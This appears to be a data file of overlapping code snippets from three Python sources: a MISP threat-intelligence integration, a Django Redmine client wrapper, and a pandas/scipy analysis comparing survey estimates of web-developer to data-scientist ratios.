PREDEFINED_FEEDS.get(url): url =", "'domain': return_results( generic_reputation_command(args, 'domain', 'DOMAIN', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif", "= set() tags_list = attribute_dict.get('Tag', []) for tag in tags_list:", "THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg = args.get('analysis') event.analysis = MISP_ANALYSIS_TO_IDS.get(analysis_arg) if analysis_arg in", "'template_uuid': 'TemplateUUID', 'meta-category': 'MetaCategory', 'decay_score': 'DecayScore', 'first_seen': 'first_seen', 'last_seen': 'last_seen',", "1:]: related_events_no_duplicates.append(related_events[i]) return related_events_no_duplicates def search_events_with_scored_tag(object_data_dict, found_tag, event_name): \"\"\" By", "in args_names if demisto_args.get(arg)] def add_ip_object(demisto_args: dict): event_id = demisto_args.get('event_id')", "MISP server url is correct.') if \"Please make sure the", "ID: {event_id} has been successfully created.\\n\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event',", "formatted_response = replace_keys_from_misp_to_context_data(response) formatted_response.update({\"ID\": event_id}) human_readable = f'Object has been", "'not_parameters') is_complex_search = is_complex_and_operator or is_complex_or_operator or is_complex_not_operator if is_complex_search:", "of attributes' values that match the search query when user", "to related_events list Args: object_data_dict (dict): Event or attribute dict", "'orgc_name': 'OwnerOrganization.Name', 'event_uuid': 'EventUUID', 'proposal_to_delete': 'ProposalToDelete', 'description': 'Description', 'version': 'Version'," ]
[ "settings from redminelib import Redmine as DefaultRedmine from .validator import", "key = key or settings.REDMINE_API_KEY super().__init__(url=url, key=key) self.validator = RedmineInstanceValidator(client=self)", "errors += self.validator.score_field_errors return errors def instance_valid(self) -> bool: return", "self.validator.score_field_errors return errors def instance_valid(self) -> bool: return self.validator.instance_valid() def", "def instance_errors(self): errors = list() if self.validator.track_errors: errors += self.validator.track_errors", "url = url or settings.REDMINE_BASE_URL key = key or settings.REDMINE_API_KEY", "-> bool: return self.validator.instance_valid() def project_valid(self, project_id) -> bool: return", "from django.conf import settings from redminelib import Redmine as DefaultRedmine", "def __init__(self, url=None, key=None): url = url or settings.REDMINE_BASE_URL key", "settings.REDMINE_BASE_URL key = key or settings.REDMINE_API_KEY super().__init__(url=url, key=key) self.validator =", "return self.validator.score_field def instance_errors(self): errors = list() if self.validator.track_errors: errors", "import settings from redminelib import Redmine as DefaultRedmine from .validator", "super().__init__(url=url, key=key) self.validator = RedmineInstanceValidator(client=self) @property def score_field(self): return self.validator.score_field", "self.validator.track_errors: errors += self.validator.track_errors if self.validator.score_field_errors: errors += self.validator.score_field_errors return", "class Redmine(DefaultRedmine): def __init__(self, url=None, key=None): url = url or", "instance_errors(self): errors = list() if self.validator.track_errors: errors += self.validator.track_errors if", ".validator import RedmineInstanceValidator class Redmine(DefaultRedmine): def __init__(self, url=None, key=None): url", "Redmine(DefaultRedmine): def __init__(self, url=None, key=None): url = url or settings.REDMINE_BASE_URL", "import Redmine as DefaultRedmine from .validator import RedmineInstanceValidator class Redmine(DefaultRedmine):", "= RedmineInstanceValidator(client=self) @property def score_field(self): return self.validator.score_field def instance_errors(self): errors", "+= self.validator.track_errors if self.validator.score_field_errors: errors += self.validator.score_field_errors return errors def", "= url or settings.REDMINE_BASE_URL key = key or settings.REDMINE_API_KEY super().__init__(url=url,", "or settings.REDMINE_API_KEY super().__init__(url=url, key=key) self.validator = RedmineInstanceValidator(client=self) @property def score_field(self):", "as DefaultRedmine from .validator import RedmineInstanceValidator class Redmine(DefaultRedmine): def __init__(self,", "RedmineInstanceValidator class Redmine(DefaultRedmine): def __init__(self, url=None, key=None): url = url", "score_field(self): return self.validator.score_field def instance_errors(self): errors = list() if self.validator.track_errors:", "or settings.REDMINE_BASE_URL key = key or settings.REDMINE_API_KEY super().__init__(url=url, key=key) self.validator", "from redminelib import Redmine as DefaultRedmine from .validator import RedmineInstanceValidator", "self.validator.score_field_errors: errors += self.validator.score_field_errors return errors def instance_valid(self) -> bool:", "url or settings.REDMINE_BASE_URL key = key or settings.REDMINE_API_KEY super().__init__(url=url, key=key)", "@property def score_field(self): return self.validator.score_field def instance_errors(self): errors = list()", "__init__(self, url=None, key=None): url = url or settings.REDMINE_BASE_URL key =", "settings.REDMINE_API_KEY super().__init__(url=url, key=key) self.validator = RedmineInstanceValidator(client=self) @property def score_field(self): return", "errors = list() if self.validator.track_errors: errors += self.validator.track_errors if self.validator.score_field_errors:", "key=key) self.validator = RedmineInstanceValidator(client=self) @property def score_field(self): return self.validator.score_field def", "errors += self.validator.track_errors if self.validator.score_field_errors: errors += self.validator.score_field_errors return errors", "redminelib import Redmine as DefaultRedmine from .validator import RedmineInstanceValidator class", "list() if self.validator.track_errors: errors += self.validator.track_errors if self.validator.score_field_errors: errors +=", "from .validator import RedmineInstanceValidator class Redmine(DefaultRedmine): def __init__(self, url=None, key=None):", "return errors def instance_valid(self) -> bool: return self.validator.instance_valid() def project_valid(self,", "DefaultRedmine from .validator import RedmineInstanceValidator class Redmine(DefaultRedmine): def __init__(self, url=None,", "key or settings.REDMINE_API_KEY super().__init__(url=url, key=key) self.validator = RedmineInstanceValidator(client=self) @property def", "import RedmineInstanceValidator class Redmine(DefaultRedmine): def __init__(self, url=None, key=None): url =", "+= self.validator.score_field_errors return errors def instance_valid(self) -> bool: return self.validator.instance_valid()", "def instance_valid(self) -> bool: return self.validator.instance_valid() def project_valid(self, project_id) ->", "Redmine as DefaultRedmine from .validator import RedmineInstanceValidator class Redmine(DefaultRedmine): def", "django.conf import settings from redminelib import Redmine as DefaultRedmine from", "self.validator = RedmineInstanceValidator(client=self) @property def score_field(self): return self.validator.score_field def instance_errors(self):", "= key or settings.REDMINE_API_KEY super().__init__(url=url, key=key) self.validator = RedmineInstanceValidator(client=self) @property", "RedmineInstanceValidator(client=self) @property def score_field(self): return self.validator.score_field def instance_errors(self): errors =", "self.validator.score_field def instance_errors(self): errors = list() if self.validator.track_errors: errors +=", "self.validator.track_errors if self.validator.score_field_errors: errors += self.validator.score_field_errors return errors def instance_valid(self)", "bool: return self.validator.instance_valid() def project_valid(self, project_id) -> bool: return self.validator.project_valid(project_id)", "errors def instance_valid(self) -> bool: return self.validator.instance_valid() def project_valid(self, project_id)", "if self.validator.score_field_errors: errors += self.validator.score_field_errors return errors def instance_valid(self) ->", "instance_valid(self) -> bool: return self.validator.instance_valid() def project_valid(self, project_id) -> bool:", "if self.validator.track_errors: errors += self.validator.track_errors if self.validator.score_field_errors: errors += self.validator.score_field_errors", "key=None): url = url or settings.REDMINE_BASE_URL key = key or", "url=None, key=None): url = url or settings.REDMINE_BASE_URL key = key", "def score_field(self): return self.validator.score_field def instance_errors(self): errors = list() if", "= list() if self.validator.track_errors: errors += self.validator.track_errors if self.validator.score_field_errors: errors" ]
[ "= df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others = df['webdev_science_ratio_others'].value_counts(sort=False) # Let's draw a bar", "= df['webdev_science_ratio_others'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\\t\\t{self_numeric.mean().round(2)} web devs / scientist')", "developers vs the amount of data scientists. Afterwards # they", "disqualified from the rest of the survey. So let's drop", "they were asked what they thought the most popular answer", "} self_numeric = df['webdev_science_ratio_self'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) others_numeric = df['webdev_science_ratio_others']", "usecols = [x.name for x in DATA_DICTIONARY if x.usecol] #", "converters converters = {x.name : x.converter for x in DATA_DICTIONARY", "# - Yes # - No, I use Python for", "import pandas as pd import numpy as np import matplotlib.pyplot", "dtype=dtypes, converters=converters, usecols=usecols) #%% Clean up data: remove disqualified users", "don’t use Python for my current projects'] # Considering we", "ax.bar(x-WIDTH, ratio_self, width=WIDTH, color='b', align='center') others_bars = ax.bar(x, ratio_others, width=WIDTH,", "them here. df = df[df['python_main'] != 'No, I don’t use", "= { '10:1': 10, '5:1' : 5, '2:1' : 2,", "respondents were asked to estimate the ratio between # the", "ratio_others = df['webdev_science_ratio_others'].value_counts(sort=False) # Let's draw a bar chart comparing", "let's drop them here. df = df[df['python_main'] != 'No, I", "my current projects'] # Considering we now only have two", "the means CONVERSION = { '10:1': 10, '5:1' : 5,", "the survey, any user who selected they don't use Python", "Python for secondary projects only # Let's turn it into", "* WIDTH) ax.set_xticklabels(labels) ax.legend((self_bars[0], others_bars[0]), ('Self', 'Most popular')) plt.show() #%%", "we now only have two categories left: # - Yes", "ordered in the data # dictionary. So we shouldn't sort", "if x.dtype} # same for converters converters = {x.name :", "Let's see if there's a difference! # This is a", "I don’t use Python for my current projects'] # Considering", ": 2, '1:1' : 1, '1:2' : 0.5, '1:5' :", "0.2, '1:10': 0.1 } self_numeric = df['webdev_science_ratio_self'] \\ .replace(CONVERSION.keys(), CONVERSION.values())", "ax.bar(x, ratio_others, width=WIDTH, color='g', align='center') ax.set_xlabel('Ratios') ax.set_ylabel('Observations') labels = [str(lbl)", "width=WIDTH, color='g', align='center') ax.set_xlabel('Ratios') ax.set_ylabel('Observations') labels = [str(lbl) for lbl", "= df['python_main'] == 'Yes' #%% Plot the web dev /", "Let's draw a bar chart comparing the distributions fig =", "#%% Plot the web dev / data scientist ratio #", "as pd import numpy as np import matplotlib.pyplot as plt", "df['webdev_science_ratio_others'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\\t\\t{self_numeric.mean().round(2)} web devs / scientist') print(f'Others:\\t\\t{others_numeric.mean().round(2)}", "{x.name : x.converter for x in DATA_DICTIONARY if x.converter} df", "web devs / scientist') #%% Is the difference statistically significant?", "the ratio between # the amount of web developers vs", "= ratio_self.count() x = np.arange(RATIO_COUNT) WIDTH = 0.4 self_bars =", "So we shouldn't sort it after counting the values. ratio_self", "DATA_DICTIONARY if x.usecol] # dtypes should be a dict of", ".replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\\t\\t{self_numeric.mean().round(2)} web devs / scientist') print(f'Others:\\t\\t{others_numeric.mean().round(2)} web devs", "2, '1:1' : 1, '1:2' : 0.5, '1:5' : 0.2,", "answer would be. # Let's see if there's a difference!", "x.converter for x in DATA_DICTIONARY if x.converter} df = pd.read_csv('data/survey.csv',", "plt import scipy.stats from finished_files.survey_data_dictionary import DATA_DICTIONARY # Load data", "scientist') print(f'Others:\\t\\t{others_numeric.mean().round(2)} web devs / scientist') #%% Is the difference", "/ data scientist ratio # In the survey, respondents were", "x in DATA_DICTIONARY if x.dtype} # same for converters converters", "comparing the distributions fig = plt.figure() ax = fig.add_subplot(111) RATIO_COUNT", "a bar chart comparing the distributions fig = plt.figure() ax", "it after counting the values. ratio_self = df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others =", "df = df[df['python_main'] != 'No, I don’t use Python for", "is that they're the same. Let's see if we can", "from finished_files.survey_data_dictionary import DATA_DICTIONARY # Load data # We want", "result = scipy.stats.chisquare(ratio_self, ratio_others) # The null hypothesis is that", "be a dict of 'col_name' : dtype dtypes = {x.name", "x = np.arange(RATIO_COUNT) WIDTH = 0.4 self_bars = ax.bar(x-WIDTH, ratio_self,", "# Let's turn it into a bool df['python_main'] = df['python_main']", "there's a difference! # This is a categorical data point,", "that they're the same. Let's see if we can reject", "asked to estimate the ratio between # the amount of", "'Yes' #%% Plot the web dev / data scientist ratio", "draw a bar chart comparing the distributions fig = plt.figure()", ": x.dtype for x in DATA_DICTIONARY if x.dtype} # same", "to estimate the ratio between # the amount of web", "Generate the list of names to import usecols = [x.name", "df[df['python_main'] != 'No, I don’t use Python for my current", "means CONVERSION = { '10:1': 10, '5:1' : 5, '2:1'", "0.5 * WIDTH) ax.set_xticklabels(labels) ax.legend((self_bars[0], others_bars[0]), ('Self', 'Most popular')) plt.show()", "import scipy.stats from finished_files.survey_data_dictionary import DATA_DICTIONARY # Load data #", "user who selected they don't use Python was then #", "names list from our data dictionary names = [x.name for", "users # In the survey, any user who selected they", "{ '10:1': 10, '5:1' : 5, '2:1' : 2, '1:1'", "WIDTH = 0.4 self_bars = ax.bar(x-WIDTH, ratio_self, width=WIDTH, color='b', align='center')", "they don't use Python was then # disqualified from the", "= 0.4 self_bars = ax.bar(x-WIDTH, ratio_self, width=WIDTH, color='b', align='center') others_bars", "values. ratio_self = df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others = df['webdev_science_ratio_others'].value_counts(sort=False) # Let's draw", "they're the same. Let's see if we can reject it", "difference! # This is a categorical data point, and it's", "usecols=usecols) #%% Clean up data: remove disqualified users # In", "secondary projects only # Let's turn it into a bool", "plt.show() #%% Calculate the predicted totals # Let's recode the", "data scientist ratio # In the survey, respondents were asked", "to import usecols = [x.name for x in DATA_DICTIONARY if", "devs / scientist') #%% Is the difference statistically significant? result", "# In the survey, respondents were asked to estimate the", "# the amount of web developers vs the amount of", "'1:1' : 1, '1:2' : 0.5, '1:5' : 0.2, '1:10':", "asked what they thought the most popular answer would be.", "pd import numpy as np import matplotlib.pyplot as plt import", "projects only # Let's turn it into a bool df['python_main']", "= df[df['python_main'] != 'No, I don’t use Python for my", "# We want to take the names list from our", "self_bars = ax.bar(x-WIDTH, ratio_self, width=WIDTH, color='b', align='center') others_bars = ax.bar(x,", "The null hypothesis is that they're the same. Let's see", "a categorical data point, and it's already ordered in the", "for x in DATA_DICTIONARY if x.usecol] # dtypes should be", "We want to take the names list from our data", "predicted totals # Let's recode the ratios to numbers, and", "# The null hypothesis is that they're the same. Let's", "'1:10': 0.1 } self_numeric = df['webdev_science_ratio_self'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) others_numeric", "data # dictionary. So we shouldn't sort it after counting", "ratio # In the survey, respondents were asked to estimate", "bar chart comparing the distributions fig = plt.figure() ax =", "for x in DATA_DICTIONARY] # Generate the list of names", "= np.arange(RATIO_COUNT) WIDTH = 0.4 self_bars = ax.bar(x-WIDTH, ratio_self, width=WIDTH,", "names=names, dtype=dtypes, converters=converters, usecols=usecols) #%% Clean up data: remove disqualified", "scientist') #%% Is the difference statistically significant? result = scipy.stats.chisquare(ratio_self,", "df['python_main'] = df['python_main'] == 'Yes' #%% Plot the web dev", "amount of data scientists. Afterwards # they were asked what", ": x.converter for x in DATA_DICTIONARY if x.converter} df =", "was then # disqualified from the rest of the survey.", "0.4 self_bars = ax.bar(x-WIDTH, ratio_self, width=WIDTH, color='b', align='center') others_bars =", "'1:5' : 0.2, '1:10': 0.1 } self_numeric = df['webdev_science_ratio_self'] \\", "the distributions fig = plt.figure() ax = fig.add_subplot(111) RATIO_COUNT =", ": 5, '2:1' : 2, '1:1' : 1, '1:2' :", "for lbl in ratio_self.index] ax.set_xticks(x - 0.5 * WIDTH) ax.set_xticklabels(labels)", "amount of web developers vs the amount of data scientists.", "self_numeric = df['webdev_science_ratio_self'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) others_numeric = df['webdev_science_ratio_others'] \\", "others_bars = ax.bar(x, ratio_others, width=WIDTH, color='g', align='center') ax.set_xlabel('Ratios') ax.set_ylabel('Observations') labels", "of 'col_name' : dtype dtypes = {x.name : x.dtype for", "plt.figure() ax = fig.add_subplot(111) RATIO_COUNT = ratio_self.count() x = np.arange(RATIO_COUNT)", "width=WIDTH, color='b', align='center') others_bars = ax.bar(x, ratio_others, width=WIDTH, color='g', align='center')", "in DATA_DICTIONARY] # Generate the list of names to import", "= [x.name for x in DATA_DICTIONARY if x.usecol] # dtypes", "converters=converters, usecols=usecols) #%% Clean up data: remove disqualified users #", "df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others = df['webdev_science_ratio_others'].value_counts(sort=False) # Let's draw a bar chart", ": 0.2, '1:10': 0.1 } self_numeric = df['webdev_science_ratio_self'] \\ .replace(CONVERSION.keys(),", "/ scientist') print(f'Others:\\t\\t{others_numeric.mean().round(2)} web devs / scientist') #%% Is the", "drop them here. df = df[df['python_main'] != 'No, I don’t", "use Python for secondary projects only # Let's turn it", "ax.legend((self_bars[0], others_bars[0]), ('Self', 'Most popular')) plt.show() #%% Calculate the predicted", "Afterwards # they were asked what they thought the most", "our data dictionary names = [x.name for x in DATA_DICTIONARY]", "the survey, respondents were asked to estimate the ratio between", "a bool df['python_main'] = df['python_main'] == 'Yes' #%% Plot the", "DATA_DICTIONARY if x.dtype} # same for converters converters = {x.name", "= df['webdev_science_ratio_others'].value_counts(sort=False) # Let's draw a bar chart comparing the", "recode the ratios to numbers, and calculate the means CONVERSION", "'Most popular')) plt.show() #%% Calculate the predicted totals # Let's", ": 1, '1:2' : 0.5, '1:5' : 0.2, '1:10': 0.1", "RATIO_COUNT = ratio_self.count() x = np.arange(RATIO_COUNT) WIDTH = 0.4 self_bars", "should be a dict of 'col_name' : dtype dtypes =", "= df['webdev_science_ratio_self'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) others_numeric = df['webdev_science_ratio_others'] \\ .replace(CONVERSION.keys(),", "up data: remove disqualified users # In the survey, any", "rest of the survey. So let's drop them here. df", "survey, any user who selected they don't use Python was", "selected they don't use Python was then # disqualified from", "dictionary. So we shouldn't sort it after counting the values.", "x.dtype} # same for converters converters = {x.name : x.converter", "Load data # We want to take the names list", "of data scientists. Afterwards # they were asked what they", "sort it after counting the values. ratio_self = df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others", "list of names to import usecols = [x.name for x", "the amount of data scientists. Afterwards # they were asked", "chart comparing the distributions fig = plt.figure() ax = fig.add_subplot(111)", "null hypothesis is that they're the same. Let's see if", "labels = [str(lbl) for lbl in ratio_self.index] ax.set_xticks(x - 0.5", "distributions fig = plt.figure() ax = fig.add_subplot(111) RATIO_COUNT = ratio_self.count()", "Plot the web dev / data scientist ratio # In", "5, '2:1' : 2, '1:1' : 1, '1:2' : 0.5,", "categorical data point, and it's already ordered in the data", "import usecols = [x.name for x in DATA_DICTIONARY if x.usecol]", "# - No, I use Python for secondary projects only", "('Self', 'Most popular')) plt.show() #%% Calculate the predicted totals #", "we shouldn't sort it after counting the values. ratio_self =", "web developers vs the amount of data scientists. Afterwards #", "scientist ratio # In the survey, respondents were asked to", "pd.read_csv('data/survey.csv', header=0, names=names, dtype=dtypes, converters=converters, usecols=usecols) #%% Clean up data:", "x in DATA_DICTIONARY] # Generate the list of names to", "color='b', align='center') others_bars = ax.bar(x, ratio_others, width=WIDTH, color='g', align='center') ax.set_xlabel('Ratios')", "ratios to numbers, and calculate the means CONVERSION = {", "between # the amount of web developers vs the amount", "# dictionary. So we shouldn't sort it after counting the", "data: remove disqualified users # In the survey, any user", "in ratio_self.index] ax.set_xticks(x - 0.5 * WIDTH) ax.set_xticklabels(labels) ax.legend((self_bars[0], others_bars[0]),", "web dev / data scientist ratio # In the survey,", "the difference statistically significant? result = scipy.stats.chisquare(ratio_self, ratio_others) # The", "0.1 } self_numeric = df['webdev_science_ratio_self'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) others_numeric =", "only have two categories left: # - Yes # -", "as plt import scipy.stats from finished_files.survey_data_dictionary import DATA_DICTIONARY # Load", "WIDTH) ax.set_xticklabels(labels) ax.legend((self_bars[0], others_bars[0]), ('Self', 'Most popular')) plt.show() #%% Calculate", "after counting the values. ratio_self = df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others = df['webdev_science_ratio_others'].value_counts(sort=False)", "print(f'Self:\\t\\t{self_numeric.mean().round(2)} web devs / scientist') print(f'Others:\\t\\t{others_numeric.mean().round(2)} web devs / scientist')", "numpy as np import matplotlib.pyplot as plt import scipy.stats from", "use Python for my current projects'] # Considering we now", "now only have two categories left: # - Yes #", "scipy.stats from finished_files.survey_data_dictionary import DATA_DICTIONARY # Load data # We", "were asked to estimate the ratio between # the amount", "ax.set_xticklabels(labels) ax.legend((self_bars[0], others_bars[0]), ('Self', 'Most popular')) plt.show() #%% Calculate the", "for x in DATA_DICTIONARY if x.converter} df = pd.read_csv('data/survey.csv', header=0,", "in DATA_DICTIONARY if x.usecol] # dtypes should be a dict", "remove disqualified users # In the survey, any user who", "as np import matplotlib.pyplot as plt import scipy.stats from finished_files.survey_data_dictionary", "# Generate the list of names to import usecols =", "Yes # - No, I use Python for secondary projects", "ax.set_xlabel('Ratios') ax.set_ylabel('Observations') labels = [str(lbl) for lbl in ratio_self.index] ax.set_xticks(x", "df['webdev_science_ratio_self'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) others_numeric = df['webdev_science_ratio_others'] \\ .replace(CONVERSION.keys(), CONVERSION.values())", "ratio_self.count() x = np.arange(RATIO_COUNT) WIDTH = 0.4 self_bars = ax.bar(x-WIDTH,", "np.arange(RATIO_COUNT) WIDTH = 0.4 self_bars = ax.bar(x-WIDTH, ratio_self, width=WIDTH, color='b',", "So let's drop them here. df = df[df['python_main'] != 'No,", "scientists. Afterwards # they were asked what they thought the", "from our data dictionary names = [x.name for x in", "statistically significant? result = scipy.stats.chisquare(ratio_self, ratio_others) # The null hypothesis", "for x in DATA_DICTIONARY if x.dtype} # same for converters", "of web developers vs the amount of data scientists. Afterwards", "= pd.read_csv('data/survey.csv', header=0, names=names, dtype=dtypes, converters=converters, usecols=usecols) #%% Clean up", "and it's already ordered in the data # dictionary. So", "be. # Let's see if there's a difference! # This", "significant? result = scipy.stats.chisquare(ratio_self, ratio_others) # The null hypothesis is", "data point, and it's already ordered in the data #", "devs / scientist') print(f'Others:\\t\\t{others_numeric.mean().round(2)} web devs / scientist') #%% Is", "were asked what they thought the most popular answer would", "point, and it's already ordered in the data # dictionary.", "0.5, '1:5' : 0.2, '1:10': 0.1 } self_numeric = df['webdev_science_ratio_self']", "CONVERSION.values()) print(f'Self:\\t\\t{self_numeric.mean().round(2)} web devs / scientist') print(f'Others:\\t\\t{others_numeric.mean().round(2)} web devs /", "# Considering we now only have two categories left: #", "if x.converter} df = pd.read_csv('data/survey.csv', header=0, names=names, dtype=dtypes, converters=converters, usecols=usecols)", "the same. Let's see if we can reject it print(result)", "in DATA_DICTIONARY if x.converter} df = pd.read_csv('data/survey.csv', header=0, names=names, dtype=dtypes,", "#%% Clean up data: remove disqualified users # In the", "'10:1': 10, '5:1' : 5, '2:1' : 2, '1:1' :", "bool df['python_main'] = df['python_main'] == 'Yes' #%% Plot the web", "if there's a difference! # This is a categorical data", ".replace(CONVERSION.keys(), CONVERSION.values()) others_numeric = df['webdev_science_ratio_others'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\\t\\t{self_numeric.mean().round(2)} web", "web devs / scientist') print(f'Others:\\t\\t{others_numeric.mean().round(2)} web devs / scientist') #%%", "hypothesis is that they're the same. Let's see if we", "the values. ratio_self = df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others = df['webdev_science_ratio_others'].value_counts(sort=False) # Let's", "a dict of 'col_name' : dtype dtypes = {x.name :", "# Let's recode the ratios to numbers, and calculate the", "what they thought the most popular answer would be. #", "and calculate the means CONVERSION = { '10:1': 10, '5:1'", "it into a bool df['python_main'] = df['python_main'] == 'Yes' #%%", "# Load data # We want to take the names", "10, '5:1' : 5, '2:1' : 2, '1:1' : 1,", "ratio_others) # The null hypothesis is that they're the same.", "disqualified users # In the survey, any user who selected", "Calculate the predicted totals # Let's recode the ratios to", "popular')) plt.show() #%% Calculate the predicted totals # Let's recode", "import numpy as np import matplotlib.pyplot as plt import scipy.stats", "shouldn't sort it after counting the values. ratio_self = df['webdev_science_ratio_self'].value_counts(sort=False)", "names = [x.name for x in DATA_DICTIONARY] # Generate the", "of the survey. So let's drop them here. df =", "then # disqualified from the rest of the survey. So", "calculate the means CONVERSION = { '10:1': 10, '5:1' :", "turn it into a bool df['python_main'] = df['python_main'] == 'Yes'", "same for converters converters = {x.name : x.converter for x", "pandas as pd import numpy as np import matplotlib.pyplot as", "ax = fig.add_subplot(111) RATIO_COUNT = ratio_self.count() x = np.arange(RATIO_COUNT) WIDTH", "is a categorical data point, and it's already ordered in", "Let's recode the ratios to numbers, and calculate the means", "color='g', align='center') ax.set_xlabel('Ratios') ax.set_ylabel('Observations') labels = [str(lbl) for lbl in", "the list of names to import usecols = [x.name for", "others_bars[0]), ('Self', 'Most popular')) plt.show() #%% Calculate the predicted totals", "the ratios to numbers, and calculate the means CONVERSION =", "dictionary names = [x.name for x in DATA_DICTIONARY] # Generate", "popular answer would be. # Let's see if there's a", "CONVERSION = { '10:1': 10, '5:1' : 5, '2:1' :", "== 'Yes' #%% Plot the web dev / data scientist", "ax.set_xticks(x - 0.5 * WIDTH) ax.set_xticklabels(labels) ax.legend((self_bars[0], others_bars[0]), ('Self', 'Most", "# Let's see if there's a difference! # This is", "current projects'] # Considering we now only have two categories", "ax.set_ylabel('Observations') labels = [str(lbl) for lbl in ratio_self.index] ax.set_xticks(x -", "data dictionary names = [x.name for x in DATA_DICTIONARY] #", "'1:2' : 0.5, '1:5' : 0.2, '1:10': 0.1 } self_numeric", "the names list from our data dictionary names = [x.name", "list from our data dictionary names = [x.name for x", "don't use Python was then # disqualified from the rest", "= [str(lbl) for lbl in ratio_self.index] ax.set_xticks(x - 0.5 *", "Python for my current projects'] # Considering we now only", "[str(lbl) for lbl in ratio_self.index] ax.set_xticks(x - 0.5 * WIDTH)", "categories left: # - Yes # - No, I use", "the amount of web developers vs the amount of data", "dtypes = {x.name : x.dtype for x in DATA_DICTIONARY if", "CONVERSION.values()) others_numeric = df['webdev_science_ratio_others'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\\t\\t{self_numeric.mean().round(2)} web devs", "- 0.5 * WIDTH) ax.set_xticklabels(labels) ax.legend((self_bars[0], others_bars[0]), ('Self', 'Most popular'))", "dev / data scientist ratio # In the survey, respondents", "{x.name : x.dtype for x in DATA_DICTIONARY if x.dtype} #", "ratio_self.index] ax.set_xticks(x - 0.5 * WIDTH) ax.set_xticklabels(labels) ax.legend((self_bars[0], others_bars[0]), ('Self',", "have two categories left: # - Yes # - No,", "converters = {x.name : x.converter for x in DATA_DICTIONARY if", "This is a categorical data point, and it's already ordered", "I use Python for secondary projects only # Let's turn", "DATA_DICTIONARY # Load data # We want to take the", "= fig.add_subplot(111) RATIO_COUNT = ratio_self.count() x = np.arange(RATIO_COUNT) WIDTH =", "into a bool df['python_main'] = df['python_main'] == 'Yes' #%% Plot", "= scipy.stats.chisquare(ratio_self, ratio_others) # The null hypothesis is that they're", "x.usecol] # dtypes should be a dict of 'col_name' :", "/ scientist') #%% Is the difference statistically significant? result =", "thought the most popular answer would be. # Let's see", "dtypes should be a dict of 'col_name' : dtype dtypes", "= ax.bar(x-WIDTH, ratio_self, width=WIDTH, color='b', align='center') others_bars = ax.bar(x, ratio_others,", "Let's turn it into a bool df['python_main'] = df['python_main'] ==", "vs the amount of data scientists. Afterwards # they were", "# This is a categorical data point, and it's already", "to numbers, and calculate the means CONVERSION = { '10:1':", "import DATA_DICTIONARY # Load data # We want to take", "left: # - Yes # - No, I use Python", "it's already ordered in the data # dictionary. So we", "see if there's a difference! # This is a categorical", "= [x.name for x in DATA_DICTIONARY] # Generate the list", "= plt.figure() ax = fig.add_subplot(111) RATIO_COUNT = ratio_self.count() x =", "x.dtype for x in DATA_DICTIONARY if x.dtype} # same for", "!= 'No, I don’t use Python for my current projects']", "two categories left: # - Yes # - No, I", "would be. # Let's see if there's a difference! #", ": 0.5, '1:5' : 0.2, '1:10': 0.1 } self_numeric =", "import matplotlib.pyplot as plt import scipy.stats from finished_files.survey_data_dictionary import DATA_DICTIONARY", "\\ .replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\\t\\t{self_numeric.mean().round(2)} web devs / scientist') print(f'Others:\\t\\t{others_numeric.mean().round(2)} web", "#%% Is the difference statistically significant? result = scipy.stats.chisquare(ratio_self, ratio_others)", "finished_files.survey_data_dictionary import DATA_DICTIONARY # Load data # We want to", "<gh_stars>0 import pandas as pd import numpy as np import", "the rest of the survey. So let's drop them here.", "difference statistically significant? result = scipy.stats.chisquare(ratio_self, ratio_others) # The null", "ratio_others, width=WIDTH, color='g', align='center') ax.set_xlabel('Ratios') ax.set_ylabel('Observations') labels = [str(lbl) for", "the predicted totals # Let's recode the ratios to numbers,", "matplotlib.pyplot as plt import scipy.stats from finished_files.survey_data_dictionary import DATA_DICTIONARY #", "for converters converters = {x.name : x.converter for x in", "any user who selected they don't use Python was then", "only # Let's turn it into a bool df['python_main'] =", "ratio between # the amount of web developers vs the", "Considering we now only have two categories left: # -", "from the rest of the survey. So let's drop them", "most popular answer would be. # Let's see if there's", "use Python was then # disqualified from the rest of", "1, '1:2' : 0.5, '1:5' : 0.2, '1:10': 0.1 }", "fig.add_subplot(111) RATIO_COUNT = ratio_self.count() x = np.arange(RATIO_COUNT) WIDTH = 0.4", "lbl in ratio_self.index] ax.set_xticks(x - 0.5 * WIDTH) ax.set_xticklabels(labels) ax.legend((self_bars[0],", "DATA_DICTIONARY if x.converter} df = pd.read_csv('data/survey.csv', header=0, names=names, dtype=dtypes, converters=converters,", "# they were asked what they thought the most popular", "In the survey, any user who selected they don't use", "- No, I use Python for secondary projects only #", "header=0, names=names, dtype=dtypes, converters=converters, usecols=usecols) #%% Clean up data: remove", "Python was then # disqualified from the rest of the", "= {x.name : x.dtype for x in DATA_DICTIONARY if x.dtype}", "for secondary projects only # Let's turn it into a", "# dtypes should be a dict of 'col_name' : dtype", "align='center') others_bars = ax.bar(x, ratio_others, width=WIDTH, color='g', align='center') ax.set_xlabel('Ratios') ax.set_ylabel('Observations')", "here. df = df[df['python_main'] != 'No, I don’t use Python", "data scientists. Afterwards # they were asked what they thought", "data # We want to take the names list from", "#%% Calculate the predicted totals # Let's recode the ratios", "No, I use Python for secondary projects only # Let's", "who selected they don't use Python was then # disqualified", "in DATA_DICTIONARY if x.dtype} # same for converters converters =", "'5:1' : 5, '2:1' : 2, '1:1' : 1, '1:2'", "to take the names list from our data dictionary names", "the web dev / data scientist ratio # In the", "survey. So let's drop them here. df = 